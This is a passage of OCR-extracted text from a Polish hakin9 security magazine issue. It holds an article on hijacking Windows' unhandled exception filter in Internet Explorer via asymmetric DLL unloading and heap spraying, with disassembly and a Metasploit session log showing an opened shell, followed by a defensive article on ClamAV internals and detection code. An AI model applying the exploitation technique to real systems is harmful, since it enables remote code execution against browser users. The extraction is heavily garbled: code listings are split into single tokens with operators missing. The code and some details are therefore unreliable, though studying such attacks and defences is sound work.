pierwotnej  wartości  w  UEF:  kerne-
l32!SetUnhandledExceptionFilter.

Powodem jest fakt, że tak na-

prawdę  nie  ma  prawdziwej  listy
wyjątków  kontrolowanej  przez  filtry.
Metoda od rejestrowywania jest tutaj
kluczem  dla  atakującego.  Operacje
rejestracji i od rejestrowywania mu-
szą  być  wykonywane  symetrycznie.
Przykład ilustruje Rysunek 10.

Jeśli wyjątek przejdzie przez

wszystkie etapy i nie zostanie zarzą-
dzony,  dystrybutor  wyjątków  dokona
jeszcze  jednej  operacji  zanim  zmusi
aplikację do zamknięcia. Jedną z opcji
jest przesłanie aplikacji do debuggera,
jeśli  jest  on  aktywny.  Jeśli  nie,  musi
obsłużyć  wyjątek  wewnętrznie  lub
i  zamknąć  aplikację,  jeśli  się  to  nie
powiedzie. By to umożliwić , aplikacje
mogą wywołać filtr wyjątków związany
z  procesem.  W  większości  przypad-
ków rezultat będzie następujący:

kernel32!UnhandledExceptionFilter

czyli wywołanie instrukcji z informa-
cją o prze kierowaniu wyjątku.

To co faktycznie wykonuje kerne-

l32!

UnhandledExceptionFilter

to dwie

rzeczy.  Po  pierwsze,  w  przypadku
kiedy  debugger  nie  jest  dostępny,
wywoła  UEF  najwyższego  poziomu
w celu zarejestrowania procesu. UEF
najwyższego poziomu spróbuje obsłu-
żyć  wyjątek,  prawdopodobnie  wzna-
wiając  i  pozwalając  na  dalszą
pracę  aplikacji,  na  przykład  poprzez:

EXCEPTION _ CONTINUE _ EXECUTION

. Jeśli

to się nie powiedzie, proces zostanie
zabity, najprawdopodobniej poprzez:

EXCEPTION _ EXECUTE _ HANDLER

lub zo-

stanie wyświetlone okno dialogowe ze
standardowym

EXCEPTION _ CONTINUE _

. Jeśli debugger będzie obecny,

filtr  wyjątków  spróbuje  prze  kierować
wyjątek  do  debuggera.  W  takim  wy-
padku  UEF  najwyższego  poziomu
w ogóle nie jest wywoływany.

Podczas pracy w systemie

z nieobecnym debuggerem kerne-
l32!

UnhandledExceptionFilter

spró-

buje zdekodować wskaźnik związany
z UEF najwyższego poziomu poprzez
wywołanie:

kernel32!

RtlDecodePo-

inter

na zmiennej globalnej, która

zawiera UEF najwyższego poziomu
kernel32!kernel32!

BasepCurrentTo-

pLevelFilter

7c862cc1 ff35ac33887c push dword
ptr [kernel32!
BasepCurrentTopLevelFilter]
7c862cc7 e8e1d6faff call kernel32!Rtl
DecodePointer (7c8103ad)
Jeśli wartość zwrócona przez kernel32!
RtlDecodePointer jest różna od NULL,
następujewywołanie do dekodowanego
właśnie UEF, informacja o wyjątku
przekazywana jest dalej:
7c862ccc 3bc7 cmp eax,edi
7c862cce 7415 jz kernel32!UnhandledExc
eptionFilter
+0x15b (7c862ce5)
7c862cd0 53 push ebx
7c862cd1 ffd0 call eax

Wartość ta decyduje o tym czy aplika-
cja będzie dalej wykonywana, zosta-
nie przerwana i czy zaraportuje błąd.

W większości przypadków, filtry

wyjątków używane są do obsługi
wyjątków charakterystycznych dla

danego  języka.  Dzieje  się  to  nie-
zauważalnie  dla  programistów.  Na
przykład  kod  C++  zarejestruje  wy-
jątek  poprzez

CxxSetUnhandledExcept

ionFilter

w czasie inicjalizacji CRT

podczas ładowania bibliotek. Po-
dobnie wyrejestruje wyjątek poprzez

CxxRestoreUnhandledExceptionFilte
r

podczas kończenia programu lub

zwalniania bibliotek.

Przejmowanie kontroli

nad filtrem krytycznych

wyjątków

Obecnie jedynym wygodnym sposo-
bem na przejęcie kontroli nad filtrem
UEF jest wymuszenie wywołań dla
kernel32!

SetUnhandledExceptionFil-

ter

Wynika to bezpośrednio z faktu,

że zmienna globalna posiada odko-
dowany wskaźnik. Można próbować
wymuszenie bezpośredniego prze-
kierowywania kodu do kernel32!

Se-

tUnhandledExceptionFilter

jednak

wymagałoby to skorzystania z do-
datkowych słabości w aplikacji.

W związku z tymi ograniczeniami

należy trochę więcej uwagi poświęcić
samemu procesowi odpowiedzialne-
mu  za  rejestrowanie  i  od  rejestro-
wywanie  wyjątków.  W  związku  ze
słabością  powiązań  między  filtrami,
możliwe jest sprawienie, by łańcuch
stał  się  zupełnie  nieużyteczny  lub
nieużywalny, co z kolei będzie moż-
na  wykorzystać.  Jedno  z  wymagań
związanych z z procesem rejestracji
wyjątków  w  filtrze  najwyższego  po-
ziomu  (UEF).  Jak  wspomnieliśmy,
jednym z wymagań jest to , by pro-
ces  rejestracji  i  od  rejestrowywania

Listing 3.

Skrypt w działaniu:

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

exploit

[*]

URL

http

8080

FnhWjeVOnU8NlbA

GAEhjcjzQWh17myEK1Exg0

[*]

Uruchomiony

Server

[*]

Exploit

dzia

tle

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

[*]

Wysy

anie

danych

(

474

bytes

)

[*]

Otwarta

sesja

pow

oki

(

4444

1059

)

msf

exploit

(

windows

browser

ie_unexpfilt_poc

)

session

[*]

Interakcja

rozpocznie

...

Microsoft

Windows

[

Version

5.1

2600

]

(

)

1985

2001

Microsoft

Corp

Documents

and

Settings

mmiller

Desktop

hakin9 Nr 2/2007

www.hakin9.org

Atak

był symetryczny. Pytanie co się sta-
nie, w przypadku jeśli symetryczność
nie  zostanie  zachowana.  Ilustracja
takiego  przypadku  znajduje  się  na
rysunku 11. Jak widać na diagramie
z rysunku 11, Najpierw rejestrowane
są Wx i Dx.  Wx jest od rejestrowy-
wane przed Dx, co sprawia, że cała
operacja  staje  się  niesymetryczna.
W  wyniku  od  rejestrowywania  Wx
przed  Dx,  UEF  jest  ustawiony  na
Ux,  mimo,  że  z  technicznego  puktu
widzenia Dx powinien być w dalszym
ciągu częścią łańcucha. Ostatecznie
Dx od rejestrowywuje się ustawiając
najwyższy poziom dla Wx, mimo, że
Wx  został  wcześniej  od  rejestrowa-
ny.  To  oczywiście  błędne  zachowa-
nie,  ale  kod  związany  z  Dx  nie  ma
pojęcia  o  tym,  że  Wx  już  zostało
oderejestrowane.

W przypadku takiej asyme-

trycznej  rejestracji,  atakujący  może
przejąć  kontrolę  nad  UEF  najwyż-
szego poziomu. Warto zauważyć, że
dzieje się to w momencie ładowania
i  zwalniania  bibliotek  DLL.  W  takim
przypadku  po  od  rejestrowaniu,
zostanie  zwolniona  biblioteka  zwią-
zana  z  danym  UEF.  TO  z  kolei  zo-
stawi  UEF  ustawione  na  Wx,  które
wskazuje na błędny obszar pamięci.
Jeśli wyjątek nastąpi po wystąpieniu
takiej sytuacji i nie zostanie obsłużo-
ny,  wywołany  będzie  filtr  wyjątków.
Jeśli nie ma w systemie debuggera,
nastąpi wywołanie UEF Wx. A sko-
roWx  wskazuje  na  obszar  pamięci,
nie związany z żadnym DLL, proces
zostanie w najlepszym wypadku za-
kończony.

Dla atakującego podobna sytu-

acja jest właśnie tym, na co czekał,
spróbuje  on  wówczas  wykorzystać
pamięć  do  przechowania  przygoto-
wanego specjalnie na tę okazję ko-
du. W przypadku wywołania funkcji,
która  była  w  tym  miejscu  pamięci,
zostanie  wykonany  kod  atakujące-
go.  Dodatkowo  jedyną  rzeczą  jaką
atakujący musi zrobić bu funkcja zo-
stała wywołana, jest wygenerowanie
wyjątku.

Wszystko to możliwe jest w przy-

padku Internet Explorera. W tym wy-
padku Internet Explorer stanie się
sposobem na zmuszenie bibliotek

DLL do załadowania i wyładowania.
Sposobem będzie tutaj obsługa obiek-
tów COM z poziomu przeglądarki. Tak
jak w poprzednim przykładzie użyjemy
tutaj new

ActiveXObject

JavaScript

lub tagu

HTML

OBJECT

W każdym przypadku w momen-

cie  wywołania  obiektu  COM  zała-
dowana  zostanie  biblioteka  DLL
związana  z  obiektem  o  ile  obiekt
utworzymy za pomocą

INPROC

SERVER

W takim przypadku obiekt wywołany
zostanie

DllMain

. Jeśli biblioteka

DLL posiada filtr krytycznych wyjąt-
ków, może zostać zarejestrowana
podczas inicjalizacji CRT. Dzięki
temu do momentu kiedy obiekt COM
jest związany z biblioteką, odpowied-
ni zestaw UEF także będzie obecny.

Niezbędna jest także kontrola

fazy od rejestrowywania. Trzeba
zmusić w jakiś sposób do odładowa-
nia DLL. Można to osiągnąć poprzez
ole32!

CoFreeUnusedLibrariesEx

Moment  kiedy  zostaje  wywołana  to
moment  zamykanie  Internet  Explo-
rera,  a  to  dzięki  DllCanUnloadNow
,  które  wtedy  przekazywane  są  do
bibliotek.  Jeśli  zwrócą  one  S_OK,
jak w przypadku gdy nie ma żadnych
powiązań z obiektami COM, którymi
opiekują się biblioteki.

Technika pozwalająca na kontro-

lowanie ładowania i od ładowywania
bibliotek zilustrowana została na ry-
sunku  12.  Przykład  powyżej  przed-
stawia  dwa  otwarte  okna  ,  każde
z  nich  jest  otwarte,  każde  zawiera
zarejestrowane  biblioteki  DLL  im-
plementujące obiekty COM. W przy-
kładzie  pierwsze  okno  przedstawia
COMObject1 implementowany przez
DLL #1. Kiedy biblioteka DLL #1 jest
załadowana, rejestruje UEF Wx naj-
wyższego  poziomu.  Kiedy  zostanie
to  wykonane,  otwierane  jest  drugie
okno  z  COMObject2,  powodujące
załadowanie DLL #2 i jednocześnie
zarejsestrowanie  UEF,  Dx.  Po  wy-
konaniu tych operacji, DLL #1 i DLL
#2 wciąż tkwią w pamięci a UEF naj-
wyższego poziomu wskazuje na Dx.

By przejąć kontrolę nad UEF,

Wx i Dx trzeba będzie spowodować
niesymetryczne ich wyrejestrowanie.
Żeby to osiągnąć, DLL #1 musi został
odładowana przed DLL #2. Można

to osiągnąć poprzez zamknięcie
okna z COMObject1, powodując tym
samym wywołanie ole32!

CoFreeUnu-

sedLibrariesEx

co spowoduje odłado-

wanie DLL #1. Podążając tym tropem,
okno z COMObject2 powinno zostać
zamknięte powodując zwolnienie DLL
#2. Rysunek 13 przedstawia tę sytu-
ację.  Po  zakończeniu  procesu,  Wx
stanie się UEF nawet mimofaktu, że
jego  biblioteka  została  wyładowana.
Jeśli  teraz  nastąpi  wyjątek,  wywoła
on funkcję wskazującą błędny obszar
pamięci.

Atakujący może już przejąć

kontrolę  nad  filtrem  UEF  najwyż-
szego poziomu, jednak trochę pracy
trzeba będzie jeszcze poświęcić na
umieszczenie kodu w miejscu gdzie
był Wx. Można tego dokonać dzięki
technice heap-spraying, dosyć zna-
nej  w  przypadku  wykorzystywania
słabości  przeglądarek.  Celem  tej
techniki  jest  zużycie  odpowiedniej
ilości pamięci, co skutkować będzie
rosnącym  buforem  w  odpowiednim
miejscu. Spray'owane dane, a w tym
wypadku  kod  atakującego  spowo-
dują przejęcie kontroli nad wykony-
waniem kodu. Istnieje jednak pewne
ograniczenie wynikające z faktu, że
położenie  danych  w  pamięci  może
nie  być  wystarczająco  bliskie,  by
można  je  było  praktycznie  wy-
korzystać.  Na  przykład  jeśli  stos
rośnie  od  0x00480000  a  biblioteka
zawierająca Wx rezyduje w pamięci
od  0x7c800000,  wymagane  będzie
by  umieścić  około  1.988  GB  da-
nych  na  stosie.  Wiadomo  też,  że
większość  bibliotek  dostarczanych
przez  Microsoft  jest  skompilowa-
nych w taki sposób by ładować się
na  wyższych  poziomach  pamięci,
co  utrydnia  pracę  agresora.  Wiele
bibliotek  zewnętrznych  producen-
tów skompilowana jest dla adresów
od 0x00400000, co sprawia że ide-
alnie się tutaj przydają. Dodatkowo
warto wiedzieć, że jeśli dwie biblio-
teki mają ten sam adres w pamięci,
to  tylko  jedna  z  nich  zostanie  pod
nim załadowana. Druga zładowana
zostanie  pod  niższym  adresem.
Można dzięki temu zmusić biblioteki
do ładowania się na niższych adre-
sach, niż preferowane.

Warto także wiedzieć, że obiekty

COM nie muszą być z sukcesem ini-
cjowane, żeby biblioteka DLL została
załadowana. Jest ona ładowana przed
sprawdzeniem  obiektu  COM,  w  celu
umożliwienia Internet Explorerowi czy
klasa  COM  w  ogóle  może  być  stwo-
rzona. Dzięki temu łatwo ładować tak-
że  dodatkowe  biblioteki.  Powiązanie
wszystkich tych faktów daje duże pole
działania dla agresorów. Działa z Win-
dows XP SP2 i najnowszymi wersjami
Internet Explorera z łatkami do MS06-
051. Przykłąd wymaga zainstalowane-
go Adobe Acrobat. Można także użyć
dowolnej innej biblioteki zewnętrznego
producenta.  Skrypt  implementujący
tę  słabość  jest  częścią  Metasploit
Framework.

Przyszłość

Technika  ta  może  być  rozwijana.  Tak
naprawdę  nawet  najnowsza  łątka  nie
wyklucza możliwości jej stosowania. Na
przykład zamiast opierać się na oknach
Internet Explorera, można znaleźć inny
wektor  wskazujący  ole32!

CoFreeUnu-

suedLibrariesEx

, co z kolei umożliwi

wywołanie asymetrycznej derejestracji.
Możliwe jest też opracowanie lepszych
techik sprayowania na stos.

Można też pomyśleć o serwerze

IIS  –  jeśli  możliwe  jest  wejście  na
strony  wywołujące  łądowanie  i  od
ładowywanie  bibliotek  poprzez  wy-
woływanie obiektów COM, atakujący
może  przejąć  kontrolę  nad  filtrami.
Podobnie  Microsoft  SQL  server,
który łąduje i zwalnia wiele bibliotek
– możliwe jest prawdopodobnie wy-
konanie ataku SQL Injection, dające-
go kontrolę nad UEF.

Na koniec

Internet Explorer jest bardzo delikat-
ny. Czy zmieni to wersja 7 i Windows
Vista?    Pokaże  czas.  Tym  czasem
wykorzystanie delikatności IE by zro-
bić krzywdę nie tylko jej, systemowi
w którym działa, ale i użytkownikowi
wydaje się trywialne. Zresztą poka-
zane  sposoby  to  wierzchołek  góry
lodowej. Dodatkowo, stanowią ideal-
ny punkt wyjścia do dalszych badań.
Trzeba bowiem wiedzieć, że obecne
łatki  w  żaden  sposób  nie  zamykają
im drzwi.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

rojekt Clam AntiVirus (ClamAV) to ze-
staw narzędzi antywirusowych prze-
znaczonych dla systemów uniksowych.

Rozwijany  jest  przez  międzynarodową  grupę
kilkunastu deweloperów i dostępny na licencji
GNU  GPL  v2.  Należy  w  tym  miejscu  zwrócić
uwagę na to, co wyróżnia go na tle innych pro-
gramów  Open  Source,  czyli  na  potrzebę  cią-
głej aktualizacji – zarówno kodu, jak i baz sy-
gnatur wirusów. W przypadku programów an-
tywirusowych, to właśnie te elementy: oprogra-
mowanie i usługa, odgrywają jednocześnie klu-
czową rolę.

Słowo clam w języku angielskim oznacza

małża. Czytelnicy, którym zdarzało się by-
wać na lekcjach biologii, być może zapamięta-
li, że małże należą do zwierząt odżywiających
się metodą filtrowania: aby przeżyć, muszą w
efektywny sposób filtrować wodę w poszuki-
waniu cząsteczek pożywienia. To krótkie wyja-
śnienie powinno zaspokoić ciekawość dotyczą-
cą nazwy programu.

Podstawowe narzędzia

Oprogramowanie ClamAV stosuje się do zna-
nej uniksowej reguły KISS (ang. Keep it Sim-

ple, Single), stąd w wachlarzu programów do-

starczanych w pakiecie źródłowym znajdują
się proste w użyciu i wyspecjalizowane aplika-
cje przeznaczone dla konsoli, na bazie których
można budować złożone systemy skanujące.

Clamscan

Poręczne narzędzie umożliwiające skanowanie
plików oraz katalogów bezpośrednio z linii pole-
ceń to clamscan. W najprostszym przypadku,
jego użycie sprowadza się do wskazania nazwy

ClamAV, czyli jak to robią

małże...

Tomasz Kojm

stopień trudności

Problem zalewu niechcianej poczty dotyczy nas wszystkich,

zarówno administratorów systemów, jak i zwykłych użytkowników

Internetu, który w ostatnich latach stał się łakomym kąskiem

dla szeroko pojętej branży marketingowej oraz wszelkiej maści

przestępców, zainteresowanych głównie kilkoma numerami z

naszych kart kredytowych.

Z artykułu dowiesz się...

• jak zbudowany jest Clam AntiVirus,
• w jaki sposób wykorzystać bibliotekę libcla-

mav,

• w jaki sposób stworzyć własną sygnaturę wiru-

sa dla ClamAV.

Powinieneś wiedzieć...

• powinieneś posiadać podstawową wiedzę na

temat zagrożeń płynących z Internetu,

• powinieneś posiadać wiedzę o systemach

uniksowych oraz świadczonych przez nie usłu-
gach.

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

pliku  bądź  katalogu,  który  powinien
zostać  przeskanowany.  Dzięki  moż-
liwości  wywoływania  zewnętrznych
programów,  potrafi  sprawdzać  archi-
wa,  które  nie  są  obsługiwane  przez
bibliotekę  libclamav.  Clamscan  może
zostać  wykorzystany  do  wykonywa-
nia  rutynowych  zadań,  na  przykład
skanowania katalogów użytkowników,
bądź integracji z innymi programami,
w celu wzbogacenia ich o możliwość
wykrywania  wirusów.  Należy  jednak
podkreślić,  że  clamscan  przy  każ-
dym  uruchomieniu  musi  wczytywać
pełne  bazy  sygnatur,  co  zajmuje  za-
równo  dodatkowy  czas,  jak  i  pamięć
operacyjną. Z tego powodu, nie powi-
nien być stosowany w zadaniach, któ-
re mogą wymagać skanowania wielu
plików z osobna i w tym samym cza-
sie, takich jak skanowanie poczty na
poziomie demona SMTP.

Clamd

Clamd  to  demon  zaprojektowany  do
zadań, w których liczy się wydajność.
Program  ma  budowę  wielowątkową,
dzięki czemu potrafi wykorzystać do-
datkowe procesory w systemach SMP.
Zapewnia ona także efektywne wyko-
rzystanie baz sygnatur – są one łado-
wane przy starcie oraz po wykryciu no-
wej wersji, a następnie współdzielone
przez wszystkie wątki. Po uruchomie-
niu, clamd przechodzi w tło, oczekując
na polecenia (takie jak SCAN, PING,
RELOAD, STREAM) przez wskazane
w pliku konfiguracyjnym gniazdo unik-
sowe  i/lub  TCP.  W  przypadku  syste-
mów Linux oraz FreeBSD, potrafi do-
datkowo  współpracować  z  modułem
Dazuko,  który  umożliwia  skanowanie
wybranych zasobów w momencie do-
stępu do nich. Pozwala to na przykład
na monitorowanie zawartości publicz-
nych katalogów FTP, gdy sam demon
FTP nie posiada wsparcia dla skano-
wania antywirusowego.

Clamdscan

Jednym z narzędzi pozwalających na
wykorzystanie dobrodziejstw demona

clamd jest clamdscan. Nazwa sugeru-
je,  że  został  on  stworzony  na  podo-
bieństwo  pierwszego  opisanego  na-
rzędzia  i  tak  w  rzeczywistości  jest.

Clamdscan może w wielu przypad-

kach efektywnie zastępować clam-

scana. Efektywnie, ponieważ nie po-
trzebuje on za każdym razem łado-
wać baz sygnatur, co znacznie skra-
ca czas uruchamiania, a także redu-
kuje zużycie pamięci. Clamdscan nie
zawiera żadnych procedur skanują-

cych i opiera się wyłącznie na clamd,
przesyłając  do  niego  nazwy  plików  i
katalogów,  strumienie  danych  oraz
deskryptory, które mają zostać prze-
skanowane.  Z  zależności  tej  wynika
pewne  istotne  ograniczenie:  w  przy-
padku skanowania plików bądź kata-

Listing 1.

Algorytmiczna detekcja wirusa wykorzystująca prostą

kryptoanalizę

/* W32.Parite.B */

(

SCAN_ALGO

dll

EC32

(

section_hdr

[

nsections

]

PointerToRawData

))

{

lseek

(

desc

SEEK_SET

);

(

cli_readn

(

desc

buff

4096

)

4096

)

{

const

char

cli_memstr

(

buff

4040

00"

);

(

)

{

uint32_t

dw1

dw2

;

(((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0x505a4f

((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0xffffb

((

dw1

cli_readint32

(

))

(

dw2

cli_readint32

(

)))

0xb8

)

{

ctx

virname

"W32.Parite.B"

;

free

(

section_hdr

);

return

CL_VIRUS

;

}

Rysunek 1.

Uproszczony schemat działania biblioteki libclamav

Infekcja

TAK

NIE

TAK

Przetwarzanie

Brak Infekcji

Wybór metody

skanowania

Skanowanie

sygnaturami

Klasyfikacja

typu pliku

Zarządca

skanowania

Wykryto wirusa

Detekcja

algorytmiczna

Dane wymagają

dalszego

skanowania?

Dane wymagają

wstępnego

przetworzenia?

hakin9 Nr 2/2007

www.hakin9.org

obrona

logów, clamdscan jest w stanie skano-
wać tylko te, do których dostęp ma de-
mon clamd.

Freshclam

W pakiecie ClamAV znajduje się
program o wdzięcznej nazwie fre-

shclam,  który  w  pełni  automatyzuje
proces  aktualizacji  baz  sygnatur  wi-
rusów.  Program  udostępnia  szereg
opcji: może być uruchamiany na żą-
danie bądź pracować w tle jako de-
mon, potrafi współpracować z serwe-
rami proxy, umożliwia wywołanie ze-

wnętrznych programów w zależności
od zdarzenia (aktualizacja baz, błąd,
wykrycie nowej wersji oprogramowa-
nia). W celu sprawdzenia aktualnej
wersji baz sygnatur, freshclam wyko-
rzystuje DNS, a dokładniej specjalny
rekord tekstowy:

$ host -t txt current.cvd.clamav.net
current.cvd.clamav.net TXT "0.88.4:
39:1640:1155043741:1"

Rekord ten zawiera także informację
o aktualnej stabilnej wersji ClamAV,

dzięki czemu freshclam może alar-
mować administratora o pojawieniu
się nowego wydania programu.

Sigtool

Ostatnie opisywane narzędzie prze-
znaczone  jest  przede  wszystkim
dla  osób  bezpośrednio  związanych
z  opracowywaniem  sygnatur  wiru-
sów oraz aktualizacją baz w projek-
cie ClamAV. Sigtool pozwala rozpa-
kowywać, weryfikować oraz tworzyć
cyfrowo  podpisane  bazy  sygnatur,
generować  pliki  różnicowe  (*.cdiff),
wydobywać kod makr z plików Office
czy  dokonywać  normalizacji  plików
HTML,  ułatwiając  tworzenie  właści-
wych sygnatur.

LibClamAV

Biblioteka  libclamav  jest  elementem
bezpośrednio  odpowiedzialnym  za
wykrywanie  wirusów.  Jest  ona  bez-
pieczna  dla  wątków  oraz  udostępnia
nieskomplikowane API (ang. Applica-

tion Programming Interface) pozwala-
jące programom na dostęp do uniwer-
salnych  funkcji  skanujących.  Na  Ry-
sunku  1  przedstawiony  został  ogól-
ny schemat działania biblioteki, a po-
niżej opisane poszczególne etapy. Ar-
tykuł koncentruje się na aktualnej wer-
sji  oprogramowania  z  repozytorium
CVS,  która  wkrótce  zastąpi  obecną
stabilną serię 0.8x.

Ustalanie typu pliku

Ze względów bezpieczeństwa oraz
bezpośredniej pracy na deskrypto-
rach, w celu ustalenia typu pliku libc-

lamav analizuje jego zawartość, a nie
nazwę  w  systemie  plików.  Coś,  co  z
pozoru może wydawać się trywialne,
okazuje  się  niekiedy  twardym  orze-
chem do zgryzienia. O ile rozpoznanie
pliku wykonywalnego ELF nie stanowi
problemu, o tyle stwierdzenie, czy da-
ny plik jest archiwum tar wymaga już
większego wysiłku. Ponieważ od wy-
niku  tego  procesu  bezpośrednio  za-
leży sukces skanowania, musi zostać
on przeprowadzony w sposób możli-
wie najdokładniejszy. Biblioteka libcla-

mav stosuje w tym celu trzy techniki:

• standardowe testy sprawdzają-

ce liczby magiczne (ang. magic

Tabela 1.

Tabela znaków zastępczych

Znak zastępczy

Znaczenie dopasowania

Dowolna ilość dowolnych znaków

Pojedynczy dowolny znak

{n}

n dowolnych znaków

{-n}

Co najwyżej n dowolnych znaków

{n-}

Co najmniej n dowolnych znaków

(a|b|c)

a lub b lub c

Tabela 2.

Tabela znaków zastępczych

Kod pliku docelowego

Typ pliku

Dowolny

Portable Executable

Komponent OLE2 (na przykład
skrypt VBA)

Znormalizowany HTML

Pocztowy

Graficzny

ELF

Tabela 3.

Tabela dopuszczalnych offsetów

Offset

Miejsce dopasowania

Dowolne miejsce w pliku

n-ty bajt

EOF-n

n-ty bajt licząc od końca pliku

EP+n (ten i poniższe offsety dzia-
łają tylko z plikami wykonywalny-
mi PE oraz ELF)

n-ty bajcie począwszy od Entry Point

EP-n

n-ty bajt przed Entry Point

Sx+n

n-ty bajt począwszy od początku sek-
cji o numerze x

Sx-n

n-ty bajt przed początkiem sekcji o nu-
merze x

SL+n, SL-n

Jak wyżej, gdzie L odpowiada ostat-
niej sekcji w pliku

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

numbers), czyli unikatowe war-
tości wewnątrz pliku, charaktery-
styczne tylko dla danego typu,

• detekcję algorytmiczną opartą o

analizę strukturalną lub zawarto-
ści pliku,

• skanowanie pliku pod kątem

zawartości charakterystycznych
fragmentów danych (na przykład
fragmentów kodu HTML).

Wsparcie

dla plików specjalnych

Gdy typ pliku zostanie ustalony, po-
dejmowana  jest  decyzja  dotycząca
jego  obsługi.  Pliki  specjalne,  takie
jak  archiwa  czy  dokumenty  wyma-
gają wcześniejszego przetworzenia,
polegającego  na  odpowiedniej  eks-
trakcji danych z ich wnętrza. Biblio-
teka posiada bezpośrednie wsparcie
dla następujących typów:

• archiwa: zip, RAR, CHM (ang.

Compiled HTML), cabinet, OLE2,
tar, SIS (pakiety instalacyjne dla
systemu Symbian),

• pliki skompresowane: gzip, bzip2,

compress,

• pliki poczty: wszystkie popularne

formaty uniksowe, TNEF (winma-
il.dat), PST,

• dokumenty: HTML, PDF, MS Offi-

ce,

• pliki wykonywalne: PE (wraz z ob-

sługą UPX, FSG, Petite, PESpin,
WWPack32, Y0da Cryptor), ELF,

• inne: JPEG, GIF, RIFF (analiza

plików na obecność exploitów).

Moduły  obsługujące  pliki  specjalne
zostały  stworzone  tak,  aby  wykry-
wać nieprawidłowości, które mogłyby
zostać wykorzystane do wprowadze-
nia skanera w błąd. Na przykład, pro-
cedury obsługujące pliki zip są w sta-
nie  wykryć  manipulacje  w  lokalnych
nagłówkach archiwów, fałszywe oraz
ukryte  wpisy.  Dodatkowym  elemen-
tem ochrony są limity związane z po-
ziomem  rekursji,  liczbą  oraz  rozmia-
rem  rozpakowywanych  plików,  które
stanowią  zabezpieczenie  przed  ata-
kami typu Denial of Service, wykorzy-
stującymi bomby archiwowe (niewiel-
kie  archiwa  zawierające  dużą  liczbę
wysoce  skompresowanych  plików).

Listing 2a.

Przykład użycia biblioteki libclamav

#include

<stdio.h>

#include

<stdlib.h>

#include

<string.h>

#include

<unistd.h>

#include

#include

#include

<fcntl.h>

include

clamav

/* plik nagłówkowy biblioteki libclamav */

int

main

(

int

argc

char

argv

)

{

int

ret

;

unsigned

long

int

size

;

unsigned

int

sigs

;

long

double

;

const

char

virname

;

struct

cl_engine

engine

NULL

;

struct

cl_limits

limits

;

(

argc

)

{

printf

(

"Usage: %s file

argv

[

]);

exit

(

);

}

((

open

(

argv

[

]

O_RDONLY

))

)

{

printf

(

"Can't open file %s

argv

[

]);

exit

(

);

}

/* wczytaj wszystkie bazy z domyślnego katalogu */

((

ret

cl_load

(

cl_retdbdir

()

engine

sigs

CL_DB_STDOPT

)))

{

printf

(

"cl_load: %s

cl_strerror

(

ret

));

(

);

exit

(

);

}

printf

(

"Loaded %d signatures.

sigs

);

/* skompiluj silnik */

((

ret

cl_build

(

engine

)))

{

printf

(

"Engine compilation error: %s

cl_strerror

(

ret

));;

cl_free

(

engine

);

(

);

exit

(

);

}

/* ustaw limity archiwów */

memset

limits

sizeof

(

struct

cl_limits

));

limits

maxfiles

1000

;

/* maksymalna liczba plików, które zostaną

rozpakowane */

limits

maxfilesize

1048576

;

/* maksymalny rozmiar zarchiwizowanego

pliku */

limits

maxreclevel

;

/* maksymalny poziom rekursji */

limits

maxratio

200

;

/* maksymalny stosunek rozmiaru pliku

skompresowanego do oryginału */

/* przeskanuj wskazany deskryptor */

((

ret

cl_scandesc

(

virname

size

engine

limits

CL_SCAN_

STDOPT

))

CL_VIRUS

)

{

printf

(

"Virus detected: %s

virname

);

}

else

{

(

ret

CL_CLEAN

)

{

printf

(

"No virus detected.

);

}

else

{

printf

(

"Error: %s

cl_strerror

(

ret

));

cl_free

(

engine

);

(

);

exit

(

);

}

(

);

hakin9 Nr 2/2007

www.hakin9.org

obrona

Zastosowanie  znajdują  także  dodat-
kowe  informacje  umieszczone  w  ar-
chiwach  (metadane),  które  libclamav
pozwala  skanować  za  pomocą  spe-
cjalnych sygnatur, umożliwiając w nie-
których przypadkach wykrycie złośli-
wego oprogramowania wewnątrz za-
szyfrowanych archiwów.

Skanowanie sygnaturami

Aby efektywnie skanować pliki w po-
szukiwaniu dziesiątek tysięcy wiru-
sów, libclamav stosuje dwa algoryt-
my: Aho-Corasick oraz rozszerzony
algorytm Boyer-Moore'a. Są to algo-
rytmy dopasowania wielowzorcowe-

go, umożliwiające przeszukiwanie
plików pod kątem wielu sygnatur w
tym samym czasie.

Dodatkowo, biblioteka obsługu-

je akceleratory sprzętowe znacznie
przyspieszające skanowanie.

Algorytm Aho-Corasick na pod-

stawie zbioru wzorców (u nas sygna-
tur wirusów) buduje specjalne drzewo,
które następnie zostaje przekształco-
ne w automat skończony.

Na Rysunku 2 przedstawiony zo-

stał  przykład  drzewa  oraz  odpowia-
dającego mu automatu, stworzonych
dla  zbioru  wzorców  P  =  {GAT,  GC,
TGCT}.  Stany  automatu  zaznaczo-

ne kolorem zielonym, to stany końco-
we – gdy automat znajdzie się w takim
stanie, oznaczać to będzie poprawne
dopasowanie  jednego  ze  wzorców.
Czarne strzały (krawędzie drzewa) re-
prezentują funkcję przejścia i umożli-
wiają zmianę stanu, gdy znak wejścio-
wy jest znakiem przez nie akceptowa-
nym.  Czerwone  strzały  reprezentują
natomiast  funkcję  porażki  i  pozwala-
ją  na  zmianę  stanu,  gdy  niemożliwe
jest to poprzez funkcję przejścia. Au-
tomat  rozpoczyna  działanie  w  stanie
zerowym (który jest korzeniem drze-
wa i stanem początkowym automatu)
i dokonuje odpowiednich zmian stanu

Rysunek 2.

Przykład drzewa i automatu Aho-Corasick

!=T

!=A,C

!=EOF

!=C

!=T

!=G

!=G, T

Rysunek 3.

Drzewo sygnatur w pamięci

Sygnatury

standardowe

Metastruktury

Zip

Metastruktury

RAR

A-C

B-M

A-C

Wspólne

ELF

HTML

Poczta

Grafika

OLE2

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

A-C

B-M

Struktury

MDS

Struktury

MDS

ClamAV

hakin9 Nr 2/2007

www.hakin9.org

dla każdego znaku tekstu wejściowe-
go. W omawianym przykładzie, prze-
szukiwanie tekstu odbywa się w cza-
sie liniowym – każdy ze znaków tekstu
wejściowego jest sprawdzany tylko je-
den raz. Implementacja algorytmu w
ClamAV nie zapewnia takiego czasu
działania automatu, ponieważ w celu
ograniczenia  zużycia  pamięci  wpro-
wadzone  zostały  ograniczenia  dla
głębokości drzewa A-C, jednak w dal-
